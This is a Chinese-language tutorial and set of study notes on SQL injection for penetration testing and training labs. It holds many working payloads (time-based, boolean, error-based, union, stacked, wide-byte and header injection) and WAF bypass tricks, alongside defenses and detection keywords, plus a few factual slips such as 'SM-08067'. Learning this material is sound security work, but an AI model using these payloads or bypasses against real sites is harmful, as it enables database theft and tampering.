文章只做学习知识,禁止违法。
一、简介
SQL注入是一种Web应用代码中的漏洞。在工作中渗透测试工作时,使用工具扫描、手工注入和绕过WAF注入等找注入点,其中一层不变的构造特殊请求,使其与数据库SQL语句进行闭合。测试完成闭合时会附加其他命令,例如:任意查询命令、创建数据库/表、更新数据库/表的内容,更改用户权限、删除数据/表/数据库、执行系统命令等。
通俗的讲SQL注入产生的原因是,后台WEB程序代码,没有对B、C端传入的参数过滤判断和基本的设备防护,使攻击者可以修改构造参数,自定义SQL语句让web程序执行,给数据库造成伤害。
二、SQL注入资料
《SqlMap从入门到精通》
靶场:pikachu、vulnhub、墨者学院
很好的博客:HTTP Host 头攻击 -- 学习笔记_白名单校验host头的域-优快云博客
HTTP 请求 Header 中的 Accept-Language 字段中的权重系统介绍-优快云博客
三、探测方法
0x00 手工注入
- 与数据库交互的相关页面
- 请求头中可能出现注入的地方:http-cookices、referee、user、agent、post等;
- 登录的模块、更新数据信息的页面、注册的模块、留言板模块等
0x01 工具找注入点
1、探测工具(SQLMAP)
2、长亭科技 Xray 2.0
3、BP扫描
4、AWVS 15.4、APP-SCAN 10.5
5、代码审计HP-fority
6、Seay PHP代码审计工具2.1公测版
0x02 站点功能模块找注入点
1、登录、注册页面
2、修改(更新)数据页面
3、留言板页面
4、搜索查询页面
5、删除页面
四、SQL注入原理
程序命令和用户数据之间没有做到泾渭分明,这使得攻击者有机会将程序命令当作用户输入的数据提交给web程序,操作数据库。
切记:注入最终是数据库,与脚本、平台、数据库类型无关;
五、SQL注入框架流程图
六、SQL注入危害现状
任意查询命令、创建数据库/表、更新数据库/表的内容,更改用户权限、删除数据/表/数据库、执行系统命令等。
可读取/修改数据库中的库和表、获取用户的账号,密码(可能被加密过),邮箱,联系方式、信用卡信息、修改产品价格、删除数据、可执行系统命令、修改权限,获取系统管理权限、修改任意文件、安装后门等。
七、SQL注入靶场
靶场:pikachu、vulnhub、墨者学院、SQLI-LABS
八、SQL注入的原因
0x00 注入的分类
1、数字型注入(参数=数字)
2、字符型注入(参数=字符)
3、搜索型注入
0x01 注入提交方式
1、GET提交
2、POST提交
3、Cookie提交
4、Http-header-User-Agent注入
5、Http-X-Forwarded-For
6、Http-header-Accpet
0x02 注入攻击类型与方式
0x00 时间盲注
常用的延时函数指令: repeat、sleep()、benchmark()、WAITFOR DELAY ‘0:0:5’---
payload kobe' and if((substr(database(),1,1))= 'p',sleep(5) ,null)# |
payload kobe' and sleep(5)# |
0x01 布尔型盲注
介绍:如在MySQL中判断数据名长度的输入为1' and length(database()) = 10 #,通过相应的正确与否判断数据名的长度是否为10,猜测数据库中数据的具体内容时,可以借助书本上SUBSTR、LIMIT、ASCII等一些特殊的命令及函数进行猜测;
布尔型盲注常用的函数:ascii()、regexp()、like()、left()、ord()、mid()、substr()
payload kobe’ or 1=1# |
payload kobe' and 1=1# |
payload vince' and ascii(substr(database(),1,1))=112# |
0x02 报错型盲注
在MYSQL中使用一些指定的函数来制造报错,从而从报错信息中获取设定的信息,常见的select/insert/update/delete注入都可以使用报错方式来获取信息.
基于函数报错注入(insert、update、dalete):updatexml()、extractvalue()、floor()
updatexml(xml_document,xpth_string,new_value)
payload |
payload k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) # |
?id=1' and (extractvalue(1,concat(0x7e,(select mid(group_concat(table_name),1,30) from information_schema.tables where table_schema='security'))))--+ |
0x03 联合注入
union操作符用于合并两个或多个SQL语句集合起来,得到联合的查询结果。
联合注入常用函数:database()、user()、version()
注意:union操作符一般与order by语句配合使用
payload |
payload : select id,email from member where username='kevin' union select username,pw from member where id=1; |
0x04 堆叠注入
堆叠注入:从名词的含义就可以看到应该是一堆 sql 语句(多条)一起执行在 SQL 中,分号(;)是用来表示一条 sql 语句的结束。试想一下我们在 ; 结束一个 sql 语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。而 union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?区别就在于 union 或者 union all 执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
注意:Union injection(联合注入)也是将两条语句合并在一起,但union或者union all执行的语句类型是有限的,只可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。
payload |
payload :?id=1’;insert into users(id,username,password) values (‘38’,’less38’,’ruoli’) --+ |
payload :select * from user where id=1;select load_file('e:/test.txt'); |
payload :select * from user where id=1;insert into user(username,password,address,sex,age) values ('范冰冰','123456','北京',2,26); |
0x05 宽字节(编码)注入
宽字节注入的原理基于GBK编码的特性。在GBK编码中,一个汉字由两个字节组成。当在输入的字符前加上%df时,MySQL会将其视为一个汉字,从而忽略掉前面的转义字符。例如,输入“%df'”时,MySQL会将其视为一个汉字“運”,从而使得单引号‘逃逸出来,不再被转义,这样就可以执行SQL注入
将输入的字符串进行编码,如base64编码;
宽字节注入背景:单引号被转义,需要逃逸一下;
宽字节中单引号逃逸过程如下:
1) php.ini中有一个get_magic_quotes_gpc功能,在开启所有的'(单引号),"(双引号),\(反斜线) and 空字符会自动加上转义字符\。 |
2)以单引号为例子: ?id = 1 %df' and 1=1--+ |
3)%df' => %df\' (单引号会被加上转移字符\) |
4)%df\' => %df%5c' (\的十六进制为%5c) |
5)%df%5c' => 縗' (GBK编码时会认为这时一个宽字节)转义字符%5c被吃掉 |
6)'(单引号)成功逃逸,sql语法正确 |
0x06 多阶注入
多阶注入的原理是通过在多个不同的输入点插入SQL代码,每个注入点都可能利用不同的漏洞或权限。例如,攻击者首先通过一个注入点获取基本的数据库信息,然后利用这些信息通过另一个注入点进行更深入的攻击,逐步提升权限。
0x07 XX型注入
username=('xx') or 1=1;
pikachu靶场XX型:') order by 2--+
0x08 HTTP-Header注入
1、Http-header-Accept:客户端能接收的资源类型
2、Http-header-Accept-Encodiing:指定客户端可以理解的内容编码方式。
3、Http-header-Accept-Language:指定客户端解析内容的自然语言
1、修改字段来改变服务器的响应,这种攻击通常用于攻击处理Accept-language值不当的Web应用程序。
4、Http-header-Connection
5、Http-header-Host:目的是帮助识别客户端要与之通信的后端组件。
1、攻击者可以通过修改HTTP请求头中的Host字段来尝试访问未经授权的服务或资源。
2、案例:在某些情况下,例如当前由代理转发时,Host值可能会在到达预期的后端组件之前进行更改。也就发生了Host头攻击。
3、注意:当碰到单个web服务器托管多个网站或应用程序。多个网站与服务器共享一个公共IP地址,原因是通过代理路由流量,这可能是一个简单的负责平衡设备或某种反向代理服务器。在客户通过内容分发网络(CND)访问网站的情况下,这种设置尤其普遍。
4、关键点:如果未校验或者直接使用Host头,则Host头可以与一系列其他漏洞“组合拳”攻击,比如:缓存投毒、特殊业务功能的逻辑漏洞、基于路由的SSRF、经典服务端漏洞,如SQL注入(当Host被用于SQL语句时)等。
5、验证漏洞:修改HTTP头中的Host值,如果观察到响应包中含有修改后的值,说明存在漏洞。
6、业务场景:HTTP Host头攻击的特点,它被广泛应用于密码重置中毒,窃取重置任意用户密码的令牌。
6、Http-header-Referer:告诉服务器请求是从哪个页面链接过来的。
1、可以被利用跨站请求伪造(CSRF)攻击;服务器可以通过验证referer头是否来自预期的域;
2、注意:referer只要在发送GET请求才会发送,而POST请求不包含Referer信息,从而减少攻击面;
7、Http-X-Forwarder-For
案例: X-Forwarded-For( http请求头注入 ): 127.0.0.1' AND if(length(database())=7,sleep(5),1)
8、User-Agent:了解用户的浏览器和设别信息
1、如果这些信息被用于动态生成SQL查询,并且没有进行适当的输入验证或转义,那么这里就可能存在SQL注入的风险。
2、作为整体字符串处理和记录;
3、整个字段被拼接到SQL查询中,payload覆盖了原有内容。
9、Cookie:Cookie跟踪用户会话和保存用户偏好。
1、程序错误地将Cookie的内容用于SQL查询,这也可能是一个注入点。
2、特别是当应用程序使用Cookie中的值来查询数据库时,风险更大。
3、解析成多个键值对,每个键值对单独处理。
4、payload插入到特定的键值中,而不是覆盖整个Cookie。
0x09 JSON注入
JSON时存储和交换文本信息的语法,是轻量级的文本数据交换格式。接口数据传输都采用JSON方式进行。JSON文本的MIME类型是"application/json"。
0x03 Access数据库注入攻击者基本技术
0x00 偏移注入
简介:偏移注入是针对Access数据库,当我们注入猜到数据库表名
确猜不到字段名
的情况下,这种方法就可以帮我们填补。?id=9999 union select 1111,2222,333,4444,* from administrator;
0x04 SQL 注入中的高级查询
0x05 WAF绕过技术
1、WAF是有一个白名单的,在白名单的客户请求将不做检测;安装Bypass Waf插件
2、伪造白名单特殊目录:www.spisec.com/pen/admin/..\news.php?id=1 union select user,password from mysql.user
3、直接攻击源站,原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入Waf节点进行过滤,最后访问原始服务器,如果能通过一些手段(比如C段、社工)找到原始的服务器的地址,便可以绕过。
4、复参数绕过:pen/news.php?id=1&id=union&id=select&id=user,password&id=from%20mysql.user
5、Waf触发规则的绕过,策略一:特殊字符替换空格(MYSQL用%0a是换行,SQLServer用/**/代替空格);
6、URL添加垃圾字符
7、编码绕过:http://10.0.0.103:99/sql.php?id=1%26%26%20true;
8、组合绕过Waf:(http://10.0.0.103:99/sql.php?id=1 and mod(8,7) in (1));
9、内联注释绕过:?id=1 union /*!77777cz*//*!77777cz*/ select database/!*77777 a*/() 1,2,3,4#;
10、分块传输:Transfer-Encoding:chunked;
0x07 经典OR注入
1、用户名处输入1' or 1=1 or '1'='1(不含双引号,以下相同),密码处我输入123,其实随便输入什么符号都可以
九、SQL防御方法
1、预编译语句(Prepared Statements)和 参数化查询:这是预防SQL注入的最有效方法之一,预编译使参数传输人不会改变语句的结构;
2、Oracle 数据库可以使用储存过程;
3、使用ORM(对象关系映射)工具;
4、使用适当的错误处理机制;
5、限制数据库权限;
6、使用WEB应用防火区WAF;
7、定期对安全进行审计和代码审查;
8、编写参数过滤器,同时使用参数化查询;
十、SQL注入总结
0x00 基础知识
1、MySQL 、MSSQL、Tomcat、远程桌面连接的端口是多少?
MySQL:默认端口为3306
MSSQL:默认端口为1433
Tomcat:默认端口8080
远程桌面连接:默认端口3389
2、永恒之蓝攻击的是哪个服务和端口?
永恒之蓝攻击主要利用了SMB协议的445端口和139端口。
通过协议可以在计算机间共享文件、打印机、命名管道等资源。
危害:永恒之蓝攻击通过这些端口利用SMB1 和 NBT 中的远程代码执行漏洞,进行勒索病毒、挖矿、反弹shell等攻击。
3、SM-08067是哪个端口?
SM-08067漏洞涉及的是SMB服务的445端口。SM-08067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”。
加固:1、更新系统和应用;2、配置防火墙;3、使用墙密码;4、定期扫描;
4、平时挖漏洞提交到哪些平台?
1、奇安信补天
2、cnvd
3、教育漏洞平台
4、漏洞银行
5、wooyun
6、漏洞盒子众测平台
0x01 高级知识
1、 不需要任何字母,测试注入点。
http://xxx.xxx.xxx:90/test.php?id=2-1
2、SQL注入总结
1、抓包要根据包信息和页面功能来判断内容是不是想要的,比如cookie内容;
2、payload选择要判断有一个已知内容为真,就可以用and或者or;判断不了就用or;
0x02 SQL注入监控
1、如何判断SQL注入是否误报?
答:直接查看攻击IP是否多条语句攻击,只有几条注入语句攻击一般是正常业务造成的,如果一查日志检索发现有攻击IP有大量不同的SQL语句一般是正常攻击。
2、SQL注入有哪些常见的特征?
答:1、常见的关键字:select、where、order、union、update、floor、exec、information_schema、extractvalue、delete、insert等。
3、SQL注入流量信息
答:1、流量中含有select、updatexml、floor等数据库操作语句的关键词时,态势感知平台可能会发出SQL注入警告。2、